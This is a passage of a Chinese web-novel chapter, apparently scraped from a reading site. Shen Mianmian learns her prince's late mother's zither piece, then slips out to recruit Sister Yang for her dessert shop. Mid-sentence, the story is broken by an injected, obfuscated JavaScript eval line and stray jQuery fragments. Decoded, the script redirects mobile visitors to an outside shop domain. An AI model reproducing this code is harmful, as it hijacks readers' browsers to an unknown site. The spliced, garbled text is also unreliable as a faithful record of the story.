谢瑾渊教琴的方式与沈棉棉想象中完全不同。不讲指法,不讲曲谱,只是带着沈绵绵的手指一根一根拨过琴弦。
“闭上眼睛,试着去感受琴声。”
琴弦轻响,起初清脆跳跃,而后徐徐流转,迂回盘绕,到最后奔涌回荡连带着琴身都发出几分震颤。
“你觉得像什么?”
“像什么?”沈棉棉睁开眼睛,抬起头有些茫然地望着他。
本来以为只是简单的音乐欣赏课,结果还有提问环节。
糟糕,这时候问系统也来不及了。
更何况系统不一定通乐理啊。
“我想想怎么说。”
见谢瑾渊一脸认真,沈棉棉紧攥着衣袖起身,一边踱步,一边闭上眼睛回想,根据记忆中的旋律回答:“一开始叮叮咚咚,好似山泉自石涧滴落,接着弯弯绕绕,就像顺着山石蜿蜒而出的小溪,到最后磅礴有力,潮起潮落如同奔向大海的河流。”
“怎么样,熙王殿下,我听得对不对?”
“很好。”
见谢瑾渊露出了笑容,沈棉棉才如释重负松了一口气,转过身拍了拍胸口:看来多多少少,她还是有点儿弹琴的天赋嘛。
沈棉棉顺势拍了拍谢瑾渊的肩膀,脸上浮现出一丝小得意:“看来功底多少还是在点儿哈。”
“光听可远远不够。”
“我当然知道啊,宫宴又不是表演口才。”
谢瑾渊修长的手指自琴身下取出一样东西递在她手中。
是一叠琴谱,上头墨迹还是新的。
“这是你写的?”
“试试这首,看看能不能弹下来。”
沈棉棉僵着嘴角点点头,强撑着翻开第一页,便觉得眼前一黑。
字儿虽然都认识,可连在一起她就看不懂了。更别说除了大字,旁边还零零散散跟了不少小字。
不如给她上五线谱哈。
虽然可以对着沈璃的记忆一点儿一点儿学,但是叫她现在就弹下来,那真是天方夜谭。
而且她确定,沈璃学了那么多曲子,这一首从未见过。
不知道谢瑾渊哪儿搞来的。
想到这儿,她眼中灵光一闪,顿时想到一个好主意。
“殿下。”沈棉棉抬起头,尽量叫自己的笑容看起来真诚又无法拒绝:“虽然我弹过许多曲子,可是这一首怎么从未见过?”
“你可不可以……带着我弹一遍?”
谢瑾渊的目光扫过琴谱,又落回沈棉棉脸上,虽没有开口,可还是满足了她的请求,和之前一样,把着她的双手在琴弦上游走。
只不过这一次她一点儿也不敢跑神儿,恨不能录下来反复循环播放学习。
等等,录下来?!
“系统,你有没有录音录像功能模块啊?”
【录像功能模块开启成功,储存空间剩余:70%】
“爱死你了系统。”
太好了!她再也不会说系统这儿也不好哪儿也不好了,真是帮了大忙。
“那,有没有替弹功能模块?”
【抱歉,系统暂时无法提供此项服务。】
先前谢瑾渊弹琴的时候,虽然手心贴着她的手背,可沈棉棉依旧能感觉到几分克制与疏离。
他总是这样,平日里虽然不说,但其实熙王的职责叫谢瑾渊不得不时时刻刻思绪紧绷,收起真实的情绪。更何况外邦探子的事没有解决,她都整日提心吊胆,别说当事人了。
但这首曲子第一个音刚出来,沈棉棉很清晰地发现,谢瑾渊整个人忽然放松下来,下巴不经意间蹭过她头顶的发丝,动作轻柔,连带着琴音都染上一丝暖意。
很快,一曲终了。
谢瑾渊松开沈棉棉的手背,顺势将她散落的发丝掖在耳后。
指尖扫过她的脖颈处敏感的皮肤,带起一阵痒意,叫沈棉棉打了个颤。
“这首曲子叫作《朝暮》……”
不是吧,依旧有问答环节。
不过没关系,这一次她可又很认真地在听。
沈棉棉刚做足准备,想好说辞,清了清嗓子准备大展身手,可那人压根儿就没提问。
有一说一,她居然感觉略微有些失望。
谢瑾渊的声音很轻,还染着几分笑意:“这是小时候,母妃教我的第一首曲子。”
沈棉棉在听清他说了什么之后,立马抬起头。
“那一年我七岁,也是秋天。母妃花了三个月谱曲,根本没有时间关心我的功课。我还因此与她大吵了一架。”
“后来母妃告诉我,这首曲子是她为了父皇寿宴准备的,若是我想学她可以教我。”
看谢瑾渊欲言又止的模样,沈棉棉心中好像已经猜到了答案,可她下意识脱口而出:“那后来呢?”
“后来,她生了一场大病,太医们也都束手无策。”
“后来没人带着我学,自己也就不想再弹了。”
怪不得,到后半段,琴声中那股温暖的感觉越来越淡。
“这首曲子我从未弹与旁人听过,你是第一个。”
谢瑾渊话音刚落,沈棉棉便大脑空白愣在原地。
这首曲子是他母妃教给他的第一首曲子,没有给任何人听过,更不要说给别人教,而现在却教给了她?
甚至琴谱都是他熬夜手抄的吧!
沈棉棉当即鼻子一酸,喉咙像是被什么东西堵住一般。
熙王殿下,为了帮她渡过中秋宫宴上才艺展示的难关,真是连压箱底儿的宝贝都拿出来了。
沈棉棉吸了吸鼻子,抹去眼角的湿润,拉起他的双手,眼神十分坚定盯着他:“殿下,我都懂。”
“你放心,我一定好好练。”
绝对不会让你失望的!
谢瑾渊眼中先是闪过一丝诧异,转而扯出一抹笑容:“嗯。”
“若是有哪里还不清楚,等晚上回来我再细细教你。”
“好。”
谢瑾渊起身便要离开,临出门前还不忘回过头朝她挥了挥手:“记得按时喝药,别乱跑。”
“一定。”
沈棉棉刚答应完便觉得有些心虚。
诶,不对,她也得出门啊。
谢瑾渊前脚刚走沈棉棉便叮嘱说任何人都不能打搅她研习琴谱。
随后锁了门,换上身儿侍女的衣服,将自己的衣裳披在被子上,放到桌前,从窗户偷偷溜出了小院儿。
虽然感觉有些对不起谢瑾渊寄托在她身上的期望,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791584|206587||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可只有赶快完成任务才能知道系统到底在瞒她什么。
熙王府的车当然不能坐,她昨日逛街时便找好了一处出租马车的商贩,现在正好派上用场。
可恶造化弄人,沈棉棉偏偏忘记自己换了衣裳,全身上下刚凑齐五十文铜板,更别说去深山一个来回居然要花两百文。
掌柜的见沈棉棉掏不出这么多钱,便用笔杆敲了敲台面:“姑娘,你是去还不去啊?”
“去当然去。”
“这样吧。”那人话音一转:“我这儿正好知道有一趟驴车会去你说的那个地方,一刻钟之后启程,傍晚回城,来回一趟正好只要五十文,怎么样?”
沈棉棉抿着唇低下头考虑片刻,最终还是将全身上下仅有的铜板悉数拍在案台上:“就它了。”
驴车便驴车吧,能到地儿就行。
等车来了她才发现,这驴车的主人正是杨姐的夫君。
居然这么巧!
真是船到桥头自然直,车到山前必有路。
“掌柜的,听说有人要搭我这车?”
沈棉棉不等那人开口,三两步冲上前拍了拍他的胳膊:“可还记得我?”
杨猎户皱着眉头思考了半天,才大手一拍,一副恍然模样:“你是……沈小姐。”
“原来要乘车的人是你。”
“对,我想去看看杨姐和小宝儿。”
“包在我身上。”他拍了拍胸脯保证,回头又和掌柜的交谈:“这人我认识,这三十文钱就不必收了。”
“等一下,三十文?”沈棉棉伸直胳膊拦在他们之间:“那你为何向我收了五十文?”
“中介费懂不懂?”
沈棉棉看着手中的三十文铜板气不打一处来。
罢了,还是抓紧时间谈正事儿要紧。
驴车摇摇晃晃走在山路上,更是颠簸。
沈棉棉怎么坐怎么不舒服。
约莫着走了两个时辰,终于看到了那间熟悉的小院儿。
“杨姐,小宝儿!”
杨姐听见喊声,放下手里拿着的柴刀抬起头,看清来人当即露出了笑脸:“沈姑娘。”
“腿上的伤没留下什么后遗症吧。”
“没有,多亏有杨姐帮忙,这才没错过最佳治疗时间。”
“那就行。”
杨姐松了口气,抬手撩了下头发反倒有些局促起来:“这……沈姑娘也不说提前写封信来,仓促之间,我也没什么拿得出手的东西招待你。”
“哎呦,姐,你可是我的救命恩人,和我就别客气了。”
“其实,我这次来是有事相求。”
杨姐一听这话,当即叫杨小宝儿去找他爹爹,将沈棉棉带进屋里:“有什么事儿是我能帮上忙的,沈姑娘尽管开口。”
沈棉棉将那一早便写好的秘方递到杨姐手中:“姐,实不相瞒,我在京都开了一间糖水铺子,当时皇后娘娘邀我入宫做糖水,那凉粉草可算是帮了我一个大忙。”
杨姐刚看完沈棉棉递过来的第一页纸,便当即将其拍在桌子上:“沈小姐,这可是你做糖水的配方,怎么能拿给我看呢?”
“这便是我想请姐姐帮的忙了。”
“我想请你做我望城分店的店长。”